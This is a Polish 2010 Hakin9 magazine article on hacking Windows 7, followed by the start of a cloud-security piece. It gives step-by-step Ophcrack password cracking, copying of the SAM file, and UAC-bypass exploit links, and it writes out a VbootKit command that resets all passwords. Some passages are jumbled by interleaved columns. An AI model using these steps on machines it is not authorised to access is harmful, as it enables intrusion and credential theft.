a następnie nagrać go na płytę CD,
za pomocą dowolnego programu
obsługującego wypalanie obrazów
ISO. Teraz wystarczy już tylko z tak
przygotowanej płyty uruchomić (załadować)
komputer, na którym znajduje się docelowy
Windows 7. Uruchomi się specjalny
system operacyjny, który po wybraniu
opcji Ophcrack Graphic mode automatic,
automatycznie rozpocznie łamanie
haseł do poszczególnych kont lokalnych
użytkowników. Już po kilku minutach,
przy odrobinie szczęścia (Ophcrack w
wersji podstawowej jest w stanie złamać
wyłącznie niezbyt skomplikowane hasła),
hasła do wszystkich kont zostaną
odgadnięte i wyświetlone w oknie
programu Ophcrack w kolumnie NT Pwd
(Rysunek 1).
Łamanie haseł innych
użytkowników lokalnych
Drugą z prezentowanych metod łamania
zabezpieczeń Windows 7 stanowi łamanie
haseł, broniących dostępu do kont
lokalnych użytkowników, z poziomu innego
jeszcze pokrótce zasadę działania systemu
użytkownika lokalnego. W metodzie tej
Ophcrack. Otóż systemy z rodziny Windows
zakładam, że intruz dysponuje własnym
nie przechowują haseł do poszczególnych
kontem lokalnym w docelowym systemie.
kont użytkowników. W bazie Security
Procedura również jest bardzo prosta.
Accounts Manager (SAM) przechowywane
Wystarczy tylko pobrać plik Ophcrack 3.3.1
są jedynie tzw. hasze haseł, czyli pewne
Windows dostępny m.in. pod następującym
wartości (w formacie LM hash w przypadku
adresem http://hcseclab.blogspot.com/
Windows XP lub NT hash w przypadku Visty
2009/09/narzedzia-bezpieczenstwooraz Windows 7) wyznaczone za pomocą
sieci-i.html, a następnie zainstalować go
funkcji jednokierunkowej na podstawie
w docelowym systemie Windows 7 z
każdego z haseł. Ponieważ wyznaczenie
poziomu własnego konta (wymagane będą
hasła na podstawie jego haszu jest
uprawnienia administracyjne). W trakcie
bardzo trudne (stąd nazwa – funkcja
instalacji należy zaznaczyć opcję Download
jednokierunkowa), przechowywanie
and Install free Vista tables. Spowoduje to
haseł w postaci haszowanej jest o wiele
automatyczne pobranie i zainstalowanie
bezpieczniejsze niż przechowywanie hasła
tęczowych tablic przeznaczonych do
w postaci prostej. W momencie logowania
łamania haseł w systemach Vista oraz 7.
do systemu, użytkownik podaje swoje hasło,
Jeśli automatyczna instalacja tablic
a Windows wyznacza sobie z niego hasz
nie powiedzie się, należy je pobrać i
i porównuje go z tym zapisanym w bazie.
zainstalować ręcznie. W tym celu należy
Jeśli są identyczne, użytkownik zostanie
pobrać plik Vista free (461MB) dostępny
zalogowany (gdyż oznacza to, że użytkownik
pod następującym adresem: http:
podał prawidłowe hasło).
//ophcrack.sourceforge.net/tables.php.
Klasyczne metody łamania haseł
Opcja Tables w programie Ophcrack
sprowadzały się zazwyczaj do testowania
pozwoli nam na ręczne wskazanie lokacji i
po kolei wszystkich możliwości hasła lub
zainstalowanie (uprzednio rozpakowanych)
poszczególnych słów znajdujących się w
tablic dla systemów Windows Vista / 7.
słowniku danego języka. Metody takie są
W celu złamania (odzyskania) haseł
jednak bardzo nieefektywne, a w przypadku
do kont innych lokalnych użytkowników
dość długiego i skomplikowanego hasła
naszego systemu Vista lub 7 należy
(np. a1b2c3d4e5) nie są w stanie w
uruchomić program Ophcrack i wybrać
rozsądnym czasie osiągnąć jakiegokolwiek
opcję Load/Local SAM. Spowoduje
rezultatu.
to załadowanie do programu lokalnej
Ophcrack korzysta jednak z
bazy SAM. W głównym oknie programu
nowatorskiej metody wykorzystującej tzw.
pojawią się informacje o wszystkich
tęczowe tablice (ang. rainbow tables).
lokalnych kontach użytkowników, wraz z
Metoda ta polega na wcześniejszym
odpowiadającymi im wartościami NT
wyliczeniu bazy skrótów odpowiadających
Hash. Po wybraniu
opcji Crack, program
Ophcrack przystąpi do
łamania (odzyskiwania)
haseł wszystkich
użytkowników na
podstawie odpowiednich
wartości NT Hash.
Po kilku minutach
hasła poszczególnych
użytkowników zostaną
złamane (odzyskane).
Wynik działania programu
został przestawiony na
Rysunku 2.
Korzystając z okazji,
Rysunek 1. Ophcrack Vista LiveCD złamał hasła
przypomnijmy sobie
użytkowników Windows 7
1/2010 HAKIN9
21
ATAK
wszystkim potencjalnym hasłom.
Specjalne funkcje redukujące pozwalają
na zapisywanie tylko niektórych haszy
przy zachowaniu niemal pełnego pokrycia
wszystkich możliwości haseł. Ophcrack
próbując złamać hasło, odczytuje więc
jego hasz zapisany w bazie SAM, następnie
odszukuje identyczny hasz we własnej
bazie i odczytuje odpowiadające mu hasło.
Proste i genialne.
Warto w tym momencie wspomnieć
jeszcze o samych tęczowych tablicach
przygotowanych przez zespół tworzący
program Opchrack, bo to od nich tak
naprawdę zależy zakres haseł, które
będziemy w stanie złamać (odzyskać).
Otóż wspomniana wcześniej tablica
Vista free nie może się pochwalić zbyt
szerokim zakresem obsługiwanych
haseł (podstawowe hasła słownikowe
z wariantami). Pod adresem http:
//ophcrack.sourceforge.net/tables.php
dostępne są natomiast tablice o wiele
bardziej obszerne. Niestety są to tablice
komercyjne.
ingerencji w sam system operacyjny oraz
nie czekając na wynik pracy bootowalnej
dystrybucji Ophcrack? Wystarczy, że intruz
skopiuje plik lokalnej bazy SAM i później na
spokojnie wydobędzie zawarte w niej dane.
Baza SAM, tak jak w poprzednich
wersjach okienek, znajduje się w pliku
WINDOWS\system32\config\SAM.
Najprościej będzie więc uruchomić
docelowy komputer z dowolnej bootowalnej
płyty lub pamięci flash i skopiować tę bazę
(w trakcie pracy docelowego systemu, plik
ten jest chroniony przed skopiowaniem).
Intruz dysponujący plikiem SAM, będzie
mógł już na spokojnie wydobyć z niego
hasła lokalnych użytkowników. Wystarczy
w tym celu użyć własnej instalacji
programu Ophcrack i skorzystać z opcji
Load/Encrypted SAM. Do poprawnego
załadowania bazy SAM będzie w tym
wypadku potrzebny jeszcze plik SYSTEM
znajdujący się w tym samym katalogu co
omówiony wcześniej plik SAM.
Błędy projektowe w UAC
Mechanizm Kontroli konta użytkownika
– UAC (ang. User Account Control)
Jak już wcześniej wspomniałem,
został po raz pierwszy zaprezentowany w
Windows 7 przechowuje hasła lokalnych
Windows Vista. Celem tego rozwiązania
użytkowników w sposób podobny do
jest ostrzeganie użytkownika przed
swych poprzedników, czyli w lokalnej
wprowadzeniem ważnych zmian w
Bazie SAM. Intruzowi chcącemu złamać
systemie oraz blokowanie wykonania
hasła zaszyfrowane w systemowej bazie
aplikacji mogących mieć wpływ na
będzie prawdopodobnie zależeć na
stabilność, bądź bezpieczeństwo systemu,
czasie oraz braku jakichkolwiek śladów
do czasu wyrażenia przez uprawnionego
jego działalności. W jaki więc sposób
użytkownika świadomej zgody na ich
można przechwycić wszystkie hasła bez
działanie.
W Windows
Vista mechanizm
ten w praktyce
sprowadza
się do
znienawidzonego
przez
użytkowników,
wyskakującego
co chwilę
okienka z prośbą
o wyrażenie
zgody na dalsze
działanie. W
związku z
szeroką krytyką
użytkowników
Rysunek 2. Ophcrack złamał hasła użytkowników systemu Windows 7 Visty, Microsoft
Przejęcie SAMa
22 HAKIN9 1/2010
postanowił zmienić nieco mechanizm
UAC w Siódemce. Z założenia mechanizm
miał się stać bardziej inteligentny i w
efekcie nie nękać już użytkownika ciągłymi
prośbami o potwierdzenie. W tym celu,
przy domyślnych ustawieniach, część
zaufanych aplikacji (podpisanych cyfrowo
przez Microsoft), takich jak programy
systemowe, uzyskała możliwość uzyskania
uprawnień systemowych bez wyrażania
dodatkowej zgody przez użytkownika
poprzez UAC. W efekcie użytkownik
Windows 7 nie jest już rzeczywiście
nękany na każdym kroku przez Kontrolę
konta użytkownika.
Okazało się jednak, że takie
rozwiązanie wprowadza poważną lukę
w systemie zabezpieczeń Siódemki.
Otóż jeśli złośliwy kod odwoła się do
systemu za pośrednictwem zaufanej
aplikacji, uzyska automatycznie pełne
uprawnienia administracyjne! Sytuacja
taka stawia więc zupełnie pod znakiem
zapytania skuteczność mechanizmu UAC
w Windows 7. Co więcej, Microsoft nie
zamierza (a niektórzy specjaliści twierdzą,
że po prostu jest to niewykonalne) w pełni
załatać tej luki, twierdząc, że wynika ona z
założeń projektowych.
Zobaczmy więc na własne oczy, w
jaki sposób dowolny kod może uzyskać
uprawnienia administracyjne w Windows
7. Otóż aplikacje mogące omijać UAC
zawierają w swym kodzie specjalną
flagę <autoElevate>true</autoElevate>,
dodatkowo ich kod musi być podpisany
cyfrowo przez Microsoft. Powyższe
warunki spełniał przykładowo systemowy
program rundll32.exe. Jako, że program
rundll32.exe umożliwia uruchomienie
funkcji zawartych w innych plikach dll,
otwiera to drogę twórcom złośliwego
oprogramowania. Wystarczy tylko
przygotować program pośredniczący
oraz właściwy złośliwy kod. Zadaniem
programu pośredniczącego będzie
wywołanie rundll32.exe w taki sposób,
by ten z kolei wywołał wykonanie
właściwego złośliwego kodu. Windows
7, obsługując wywołanie rundll32.exe,
automatycznie zezwoli mu na uzyskanie
pełnych uprawnień systemowych.
Uprawnienia te niestety odziedziczy
również wywołany przez rundll32.exe
złośliwy kod. Rafael Rivera Jr., specjalista
HAKOWANIE WINDOWS 7
skupiający się na bezpieczeństwie
systemów z rodziny Windows, opublikował
na swej stronie aplikacje (wraz z kodami
źródłowymi) wykorzystujące tę lukę w
praktyce. Otóż dostępna na stronie http:
//www.withinwindows.com/2009/02/04/
windows-7-auto-elevation-mistake-letsmalware-elevate-freely-easily/ aplikacja
Catapult.exe, wykorzystuje rundll32.exe
do uruchomienia funkcji WhereAmI
zawartej w również udostępnionym pliku
Cake.dll. Okazuje się jednak, że w finalnej
wersji Windows 7 rundll32.exe został
pozbawiony możliwości automatycznego
uzyskania systemowych uprawnień
i próba uruchomienia programu
Catapult.exe powoduje jednak pojawienie
się okna Kontroli konta użytkownika. Czy to
jednak oznacza, że wszystkie problemy z
UAC zostały już w Siódemce rozwiązane?
Oczywiście, że nie! Prawdopodobnie w
związku z powstaniem wspomnianych
działających przykładów, program
rundll32.exe został jedynie pozbawiony
flagi autoElevate. Sam UAC nie został
jednak zmieniony, w związku z czym
mogą się pojawić ataki wykorzystujące do
zdobycia uprawnień systemowych inne
zaufane programy Windows.
Nie trzeba było długo czekać, by
pojawił się kolejny działający proof-ofconcept exploit . Mowa o dostępnym
(wraz z kodami źródłowymi) pod adresem
http://www.pretentiousname.com/misc/
win7_uac_whitelist2.html programie
Win7Elevate. Exploit ten wykorzystuje,
podobną do opisanej wcześniej, metodę
DLL Injection, korzystając z rozmaitych
uprzywilejowanych przez UAC aplikacji i
procesów firmy Microsoft. Przykładowo,
korzystając z procesu explorer.exe
(620) udało mi się uruchomić
program cmd.exe, dysponujący
pełnymi prawami administracyjnymi
(Rysunek 3). Mechanizm UAC, przy
domyślnych ustawieniach, nie zauważał
w trakcie całego procesu niczego
podejrzanego. Program przetestowałem
w środowisku w pełni zaktualizowanej
wersji Windows 7 przeznaczonej do
dystrybucji – Build 7600 RTM (ang.
Release to manufacturing). Pod
adresem http://www.youtube.com/
watch?v=CYNXXzKEImY można obejrzeć
film prezentujący możliwości exploita.
Open source Windows 7
Hacking
W ostatnim czasie coraz większą karierę
robią bootkity. Te specjalne rootkity
są niezwykle groźne, gdyż zaczynają
swe działanie zazwyczaj jeszcze przed
uruchomieniem systemu operacyjnego,
dzięki czemu są w stanie modyfikować
funkcje systemowe. Zazwyczaj jest to
możliwe poprzez ingerencję w MBR dysku
twardego. Charakterystyka bootkitów
sprawia, ze ich wykrycie jest niezwykle
trudne lub praktycznie możliwe.
W trakcie konferencji Hack In The box
Security (HITB), która odbyła się w tym
roku w Dubaju, Nitin Kumar oraz Vipin
Kumar przedstawili ostateczny, jak się
wydaje, sposób na złamanie zabezpieczeń
Windows 7. Nie zagłębiając się w szczegóły
(W ramce W Sieci można znaleźć szereg
odnośników do informacji na ten temat,
włącznie ze stroną zawierającą kompletny
kod źródłowy), przyjrzyjmy się zasadzie
działania VbootKita.
Otóż celem tego bootkita jest
dokonanie zmian w kernelu Windows 7,
jednak tak by nie zaburzyć normalnej
funkcjonalności systemu oraz by nie
wzbudzić podejrzeń mechanizmów
ochronnych kernela (takich jak
PatchGuard). Działanie bootkita odbywa
się jedynie w pamięci operacyjnej, żaden
z plików na dysku nie jest modyfikowany.
Sama zasada działania jest
stosunkowo prosta. Otóż do manipulacji
niskopoziomowymi operacjami
dyskowymi wykorzystano przerwanie
INT 13 i to wystarcza by modyfikować
ładowane po kolei pliki systemowe, aż do
osiągnięcia kontroli nad samym kernelem.
Działanie bootkita można przedstawić w
następujących krokach:
•
•
•
•
•
•
•
kod bootkita zostaje załadowany z
pamięci przenośnej (np. płyty CD),
za pomocą INT 13 VbootKit podpina
się pod niskopoziomowe operacje
dyskowe,
program monitoruje wszystkie odczyty
dyskowe w poszukiwaniu sygnatury
świadczącej o rozruchu systemu,
odnalezienie odpowiedniej sygnatury
wyzwala dalszą akcję – Vbootkit
odczytuje MBR i rozpoczyna proces
bootowania systemu,
kolejna sygnatura wykrywa z kolei
proces ładowania programu
bootmgr.exe, zainicjowany przez NT
boot sector i wyzwala modyfikację
bootmgr.exe,
dzięki temu VbootKit przejmuje kontrolę
zanim sterowanie zostanie przekazane
programowi bootmgr.exe,
VbootKit modyfikuje program
bootmgr.exe i oddaje mu z powrotem
sterowanie,
Rysunek 3. Win7Elevate w akcji – eskalacja uprawnień programu cmd.exe
1/2010 HAKIN9
23
ATAK
•
•
•
•
•
•
VbootKit modyfikuje winload.exe
zanim ten przejmie sterowanie od
bootmgr.exe,
winload w pełni ufa programowi
bootmgr wobec czego kontynuuje
normalny rozruch systemu,
VbootKit przejmuje ponownie kontrolę
na chwilę zanim winload odda
sterowanie do kernela,
wykonana zostaje relokacja vbootkita
do niewykorzystywanych obszarów
pamięci kernela,
następnie za pomocą funkcji
StartFirstUserProcess alokowany
zostaje nowy obszar pamięci, w który
relokowany jest ponownie VbootKit,
powyższy krok pozwala na
przywrócenie kernela do pierwotnej
postaci oraz uruchomienie właściwej
funkcjonalności VbootKita (podpięcie
się pod systemowe żądania PING,
instalacja keyloggera w systemie i inne).
Na ilustracji (Rysunek 4) można prześledzić
cały proces instalacji bootkita w systemie.
W efekcie swej obecności w systemie,
VbootKit udostępnia zdalnym klientom
komunikację poprzez prosty protokół
wykorzystujący pakiety PING. Zdalna
komunikacja z bootkitem odbywa się
wg modelu żądanie – odpowiedź. W
efekcie, końcowy użytkownik programu
VbootKit otrzymuje następujące narzędzia
umożliwiające naruszanie bezpieczeństwa
zarażonego systemu Windows 7:
•
•
•
zdalny keylogger,
narzędzie do eskalacji systemowych
uprawnień,
procedurę usuwania haseł,
broniących dostępu do kont lokalnych
użytkowników.
����
���
�����������
����������������
Jednym słowem program zajmujący
dosłownie 3 KB może pozwolić crackerowi
na przejęcie całkowitej kontroli nad
najnowszym systemem Windows.
Jeśli chodzi o samą obsługę bootkita,
jest ona stosunkowo prosta. Należy
docelową maszynę zbootować ze
specjalnie przygotowanej płyty. Następnie
za pomocą klienta pingv możemy
zdalnie kontrolować zachowanie bootkita.
Składnia poleceń programu pingv jest
następująca pingv HostNameOrIPAddress
CommandByte CommandData.
Przykładowo, polecenie: pingv nazwa_lub_
adres_IP_celu 4 spowoduje wyzerowanie
haseł wszystkich użytkowników w
docelowym systemie.
Bootkit ten oferuje więc niesamowite
możliwości ingerencji w mechanizmy
bezpieczeństwa nowego Windowsa, do
tego pozwala potencjalnemu intruzowi
na zdalne sterowanie wszystkimi swymi
funkcjami. Jedynym pocieszeniem jest
w tym momencie fakt, że nie istnieje
możliwość zdalnego wprowadzenia
programu VbootKit do systemu
operacyjnego. Ze względu na to, że w
celu zarażenia wymagane jest fizyczne
uruchomienie komputera ze specjalnie
przygotowanego nośnika, możemy się
jeszcze czuć w miarę bezpiecznie. Jednak
kto wie, może przy okazji zbliżających się
świąt, crackerzy będą przesyłać nam
tradycyjną pocztą płyty CD zawierające
rzekomo niegroźne kolędy, zachęcając nas
do odtworzenia ich w naszym komputerze
pracującym pod kontrolą Siódemki?
Należy również pamiętać, że ponieważ
VbootKit nie modyfikuje żadnego pliku na
dysku, ponowne uruchomienie komputera
(bez pośrednictwa spreparowanego
nośnika) spowoduje przywrócenie systemu
������������������
��
����
������
�����������
�������������������
Rysunek 4. Schemat procesu zagnieżdżania się programu VbootKit w systemie Windows
7 (ilustracja pochodzi z prezentacji stworzonej przez autorów programu VbootKit 2.0)
24 HAKIN9 1/2010
operacyjnego do jego w pełni prawidłowej
postaci.
Z całą pewnością o programie
VbootKit można powiedzieć o wiele więcej,
wyczerpanie tego tematu nie jest jednak
celem niniejszego artykułu, poświęconego
przecież wielu różnym metodom
naruszania zabezpieczeń nowego
Windowsa. Wszystkich zainteresowanych
tym niezwykle ciekawym tematem odsyłam
do ramki W Sieci, w której zawarłem
adresy wielu bardzo ciekawych stron
poświęconych programowi VbootKit. Można
tam znaleźć między innymi oryginalne
materiały opublikowane przez autorów
(wraz z kodami źródłowymi oraz gotowymi
plikami ISO oraz EXE), filmy demonstrujące
działanie programu VbootKit oraz bardzo
szczegółowe opisy: zasady działania,
protokołu komunikacyjnego pingv oraz
obsługi samego programu.
Przyszłe zagrożenia czekają
na swych odkrywców
Typowy microsoftofob powie po prostu,
że systemy z rodziny Windows nigdy nie
były i nie będą bezpieczne. Ja natomiast
twierdzę, że dowolny system operacyjny
składający się z milionów linii kodu
źródłowego nie może nie zawierać
dziesiątek luk, w tym wielu krytycznych
związanych z bezpieczeństwem.
Z pewnością więc, co jakiś czas
będziemy świadkami odkrycia nowego
błędu w Windows 7, otwierającego kolejną
drogę do naruszenia jego bezpieczeństwa.
Jeszcze przed premierą Siódemki, byliśmy
już świadkami tego rodzaju zdarzeń.
Przykładowo we wrześniu pojawił się
exploit przeznaczony dla luki Zero Day
(CVE-2009-3103) wykrytej między innymi w
Windows 7. Przyczyną problemu był błąd w
obsłudze protokołu SMB 2.0. Odpowiednio
spreparowane nagłówki SMB zawierające
żądanie ustanowienia dialektu komunikacji
(NEGOTIATE PROTOCOL REQUEST )
mogą spowodować, że systemowy
sterownik SRV2.SYS awaryjnie kończy
pracę. Ze względu na uprzywilejowaną
pozycję tego drivera oraz zależności
innych komponentów systemu od
jego funkcjonowania, awaria oznacza
wystąpienie systemowego błędu PAGE_
FAULT_IN_NONPAGED_AREA i wyświetlenie
niebieskiego ekranu śmierci.
HAKOWANIE WINDOWS 7
Potencjalny cracker może więc
wykorzystać wspomniany exploit do
zdalnego sparaliżowania pracy systemu.
Warunkiem udanego ataku jest włączona
obsługa współdzielenia plików z użyciem
SMB oraz sieciowa osiągalność ofiary.
Nieco ponad miesiąc od wykrycia
wspomnianej luki upłynął, zanim Microsoft
opublikował stosowną poprawkę. Do tego
czasu gigant z Redmond opublikował
jedynie zalecenia pozwalające na
zminimalizowanie ryzyka.
Opisana sytuacja pokazuje więc jasno,
że Windows 7, wzorem jego starszych braci,
będzie prawdopodobnie przez cały swój
żywot nękany doniesieniami o odkryciu
kolejnych luk w jego kodzie źródłowym. Z
pewnością powstanie więc wiele kolejnych
metod na naruszenie mechanizmów
obronnych Siódemki. W tym wypadku
bezpieczeństwo będzie zależało więc od
szybkości reakcji firmy Microsoft (szybkość
wydania odpowiednich poprawek) oraz
od samych użytkowników, którzy muszą te
poprawki w swoim systemie zainstalować.
Gdzie diabeł nie może...
...tam (dziurawą) aplikację pośle. Jeśli nawet
założymy, że nie uda się odkryć żadnych
błędów krytycznych w systemie Windows
7, które pozwalałyby crackerom na zdalne
dostanie się do systemu, Siódemka i tak
nie będzie nigdy bezpieczna.
System operacyjny ogólnego
przeznaczenia, współpracujący z niezliczoną
ilością sterowników oraz oprogramowania
dostarczonego przez firmy trzecie, po
prostu nie może być bezpieczny. Jeśli
zdeterminowanemu crackerowi nie uda
się włamać do Siódemki korzystając
bezpośrednio ze słabości systemu
operacyjnego, zawsze będzie mógł
wykorzystać słabości pracujących pod
jego kontrolą aplikacji oraz usług. Statystyki
dotyczące komputerowych przestępstw
nie pozostawiają żadnych wątpliwości.
Coraz mniej ataków wykorzystuje błędy
w samym systemie operacyjnym, rośnie
natomiast liczba ataków skierowanych w
pracujące pod jego kontrolą aplikacje i
usługi. W dziedzinie liczby krytycznych luk
odkrywanych w aplikacjach użytkowych od
dłuższego czasu przoduje firma Adobe.
Jeśli więc cracker nie będzie w stanie
złamać naszej Siódemki, prawdopodobnie
spróbuje wykorzystać naszą przeglądarkę
internetową lub przeglądarkę plików PDF.
Rośnie również zainteresowanie
komputerowych przestępców procesami
aktualizacyjnymi aplikacji. Intensywnie
rozwijane są więc narzędzia takie jak
ISR-evilgrade oraz Ippon. Programy te
W Sieci
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
http://hcsl.pl/ – Hard Core Security Lab,
http://www.idg.pl/news/351050/Nadchodzi.128.bitowy.Windows.8.i.Windows.9.html
– Nadchodzi 128-bitowy Windows 8 i Windows 9?,
http://ophcrack.sourceforge.net/ – Free Windows password cracker,
http://blogs.zdnet.com/igeneration/?p=1826/ – Windows 7 UAC flaw,
http://blogs.msdn.com/e7/archive/2009/02/05/update-on-uac.aspx – Update on UAC flaw,
http://www.withinwindows.com/2009/02/04/windows-7-auto-elevation-mistake-lets-malwareelevate-freely-easily/ – Windows 7 auto-elevation mistake,
http://www.withinwindows.com/2009/01/30/malware-can-turn-off-uac-in-windows-7-bydesign-says-microsoft/ – Malware can turn off UAC in Windows 7,
http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/
– Sacrificing security for usability: UAC security flaw in Windows 7 beta,
http://www.youtube.com/watch?v=CYNXXzKEImY – Windows 7 UAC flaw,
http://www.heise-online.pl/newsticker/news/item/System-UAC-w-Windows-7-jeszcze-bardziejdziurawy-770969.html – System UAC w Windows 7 jeszcze bardziej dziurawy,
http://www.pretentiousname.com/misc/win7_uac_whitelist2.html – Windows 7 UAC whitelist,
http://www.tomshardware.com/news/Windows-7-Hacked-controlled,7619.html – Windows 7
Can Be Hacked, No Fix,
http://conference.hitb.org/hitbsecconf2009dubai/materials/D2T2%20-%20Vipin%20and%20
Nitin%20Kumar%20-%20vbootkit%202.0.pdf – VBootKit 2.0 - Attacking Windows 7 via Boot
Sectors,
http://www.nvlabs.in/ – VbootKit 2.0 download and presentation,
http://securityreason.com/polish/podatnosc/6425 – (SMB2.0) Remote Command Execution.
pozwalają na daleko idącą ingerencję w
ręczne lub automatyczne mechanizmy
aktualizacji wielu popularnych aplikacji i w
konsekwencji instalację dowolnego kodu
w docelowym systemie. Cracker chcący
złamać Windows 7, zawsze będzie więc
dysponował wieloma alternatywnymi
drogami wiodącymi do naszego systemu.
Podsumowanie
Podsumowując powyższe rozważania
należy stwierdzić, że najnowszy system
giganta z Redmond jest systemem...
stosunkowo bezpiecznym (sic!).
Co prawda, jeszcze przed premierą
istnieje już szereg mechanizmów oraz
narzędzi pozwalających na złamanie
zabezpieczeń Siódemki, należy jednak
zauważyć, że przestawione zagrożenia
nie są wcale bardzo poważne! Przede
wszystkim wróćmy uwagę, że nie istnieje
obecnie żadna powszechnie znana
metoda na zdalne przejęcie kontroli
nad nowym Windowsem. Praktycznie
wszystkie przedstawione metody łamania
zabezpieczeń, wymagają fizycznego
kontaktu intruza z docelowym systemem,
co minimalizuje zagrożenie.
Należy również podkreślić, że
Microsoft w trakcie prac nad kolejnymi
wersjami rozwojowymi Siódemki brał
pod uwagę krytyczne uwagi dotyczące
zabezpieczeń tego systemu. Przykład
stanowić mogą chociażby zmiany w
mechanizmie UAC, wprowadzone po
opublikowaniu działających dowodów na
możliwość wykorzystania przez złośliwe
oprogramowanie przywilejów systemowego
programu rundll32.exe.
Jeszcze przed premierą Microsoft
opublikował również za pomocą
mechanizmu Windows Update
szereg innych poprawek związanych z
bezpieczeństwem, co daje nadzieję, że w
przeciwieństwie do swego poprzednika,
Windows 7 będzie dobrze przygotowany do
stosunkowo bezpiecznej pracy natychmiast
po swej premierze.
Wojciech Smol
Autor jest absolwentem wydziału Automatyki, Elektroniki
i Informatyki Politechniki Śląskiej w Gliwicach. Ukończył
studia na kierunku informatyka, o specjalności Bazy
danych, sieci i systemy komputerowe. Pracuje jako
administrator sieci i systemów komputerowych w firmie
Mostostal Zabrze Holding S.A. Kontakt z autorem:
[email protected] lub [email protected].
Strona domowa autora: http://hcsl.pl/.
1/2010 HAKIN9
25
ATAK
MARCIN KOSEDOWSKI
Bezpiecznie jak
w chmurach
Stopień trudności
Nie uciekniemy od Cloud computingu. Dostawcy usług
przywiążą nas do siebie, po czym zaopiekują się naszymi
danymi. Nie nastąpi to w tym roku ani kolejnym, ale trend jest
jasny – coraz więcej danych i obliczeń będzie rozproszonych
w Sieci. To się po prostu opłaca.
H
acker zamknięty w ciemnym pokoju
wykorzystuje swój terminal, aby uzyskać
dostęp do mocy obliczeniowej serwera.
Przełamanie zabezpieczeń nie było proste, ale
opłacalne – zwykły użytkownik nie ma dostępu do
zasobów zgromadzonych w sieci.
Wspomnienia z początku lat 80. XX wieku?
Nie – bliska przyszłość.
Jak działa chmura?
Z ARTYKUŁU
DOWIESZ SIĘ
czy twoje dane są bezpieczne i
dlaczego nie,
dlaczego uzależnisz się od
bezprzewodowego Internetu,
dlaczego script kiddies muszą
odejść i kto ich zastąpi.
CO POWINIENEŚ
WIEDZIEĆ
mieć podstawową wiedzę o
procesach produkcyjnych,
mieć ogólne pojęcie typowych
atakach.
26 HAKIN9 1/2010
Modny ostatnio termin cloud computing
(przetwarzanie w chmurze) oznacza sposób
udostępniania zasobów i usług przez
Sieć. Idea polega na stworzeniu abstrakcji
prezentującej użytkownikowi wynik działania lub
zasób bez konieczności wnikania w działanie
oprogramowania i sprzętu oraz ich kupowania.
Główne zalety tego rozwiązania to wysoka
skalowalność i rozłożenie kosztów zarządzania
systemem w czasie. Zyskują zarówno użytkownicy
indywidualni (wykorzystując usługi takie jak poczta
przez webmaile), małe firmy, które nie muszą
inwestować w drogi sprzęt i obsługę techniczną
oraz korporacje, które mogą praktycznie
natychmiast uzyskać większą ilość zasobów.
Najlepszym przykładem wykorzystania cloud
computingu jest właśnie dostęp do e-maila przez
interfejs na stronie WWW. Użytkownik, korzystając
z dowolnej przeglądarki i urządzenia (np. telefonu),
ma dostęp do swojego konta. Wszystkie dane
składowane są na dyskach usługodawcy,
a obliczenia wykonują połączone w sieć i
współpracujące ze sobą serwery. Dzięki temu
komputer użytkownika nie musi mieć dużej mocy
obliczeniowej niezbędnej np. do przefiltrowania
kilku tysięcy e-maili. Serwery zrobią to szybciej
niż telefon. Urządzenie odbiorcze musi tylko
pobrać i wyświetlić dane oraz komunikować się z
serwerem – służy wyłącznie jako terminal.
Na tej samej zasadzie działają arkusze
kalkulacyjne dostępne online i inne aplikacje
wymagające dużej mocy obliczeniowej. Idea nie
jest nowa. Dokładnie tak samo działały pierwsze
komputery dostępne dla zwykłych użytkowników.
Mainframe znajdował się na uczelni lub w
siedzibie firmy, a pracownicy łączyli się z nim
z powolnych, ale stosunkowo tanich terminali.
Zmienił się tylko sposób dostępu do zasobów
– teraz zamiast jednego serwera wykorzystuje
się całą ich sieć, która dla użytkownika jest
jedynie abstrakcyjnym pojęciem, a jej fizyczna
realizacja nie ma znaczenia (stąd słowo cloud;
computing oznacza oczywiście obliczenia).
Sposób prezentacji danych i wygodę użytkowania
poprawiają nowoczesne techniki, takie jak AJAX.
Płatność za usługę
SaaS (Service as a Software) to model
dystrybucji oprogramowania, w którym programy
działają na serwerze, a użytkownikom – za
pośrednictwem Internetu – udostępniany jest
jedynie wynik działania aplikacji. Płatności zwykle
odbywają się w rocznych lub miesięcznych
cyklach, a w razie potrzeby można dokupić lepszy
CLOUD COMPUTING
pakiet usług, więcej miejsca na dysku czy
dodatkową moc obliczeniową. Rozwiązanie
to jest wygodne dla dostawcy i odbiorców.
Właściciel oprogramowania nie naraża
się na nielegalne kopiowanie programów,
otrzymuje stałą miesięczną opłatę i
przywiązuje do siebie użytkownika. Klient
nie musi płacić za całe oprogramowanie
od razu, może w dowolnym momencie
zmienić zakres usług (np. jeśli kupił ich
zbyt dużo lub nagle postanowi czasowo
rozszerzyć działalność). Dla małych
firm i osób prywatnych ważna jest także
obsługa serwerów przez doświadczonych
administratorów i lepszy sprzęt. Powierzenie
swoich danych, zwłaszcza jeśli są to
informacje kluczowe dla firmy, wiąże się
jednak z ryzykiem.
Obecnie technologia jest bardzo
młoda i nie ma regulacji w świadczeniu
usług backupu czy dostarczania
oprogramowania wykorzystując cloud
computing, ani tym bardziej płatności za
efekt, a nie aplikację. Rynek rozwija się
jednak szybciej niż zakładano, a analitycy
z organizacji Gartner twierdzą, że w ciągu
pięciu lat jego wartość przekroczy 150 mld
dolarów. W tym czasie firmy same zadbają
o stworzenie odpowiednich certyfikatów
bezpieczeństwa i edukację użytkowników,
ale dzisiaj nie wszyscy dostrzegają ryzyko.
Mniejsze firmy, które chcą za kilkaset złotych
rocznie mieć dostęp do umieszczonego
w chmurze dysku (a właściwie dysków, w
dodatku często wirtualizowanych – patrz
ramka) nie zawsze wiedzą, że ich dane
mogą zostać wykradzione, chociażby przez
nieuczciwego dostawcę.
Praktycznie nie ma dnia bez doniesień
o wycieku lub utracie danych. Korzystanie
z usług w chmurze oznacza duże zaufanie
do dostawcy. Główną kwestią jest wybór
i zaufanie odpowiedniej firmie – mówi
Łukasz Żur z firmy Infrastruktura24
oferującej backup z wykorzystaniem cloud
computingu i modelu SaaS. Wysyłając
dane w chmurę spodziewamy się, że zajmą
się nimi profesjonaliści, których zatrudnienie
byłoby dla nas zbyt dużym kosztem. Z
jednej strony jest to bezpieczne rozwiązanie,
ale z drugiej naraża dane np. na odczytanie
przez nieuczciwego dostawcę. Dane są
co prawda szyfrowane, ale jego sposoby
są różne. Spotkać można zarówno
sytuacje, w których posiadaczem klucza
szyfrującego jest dostawca usługi(!), aż
po zaawansowane sposoby szyfrowania,
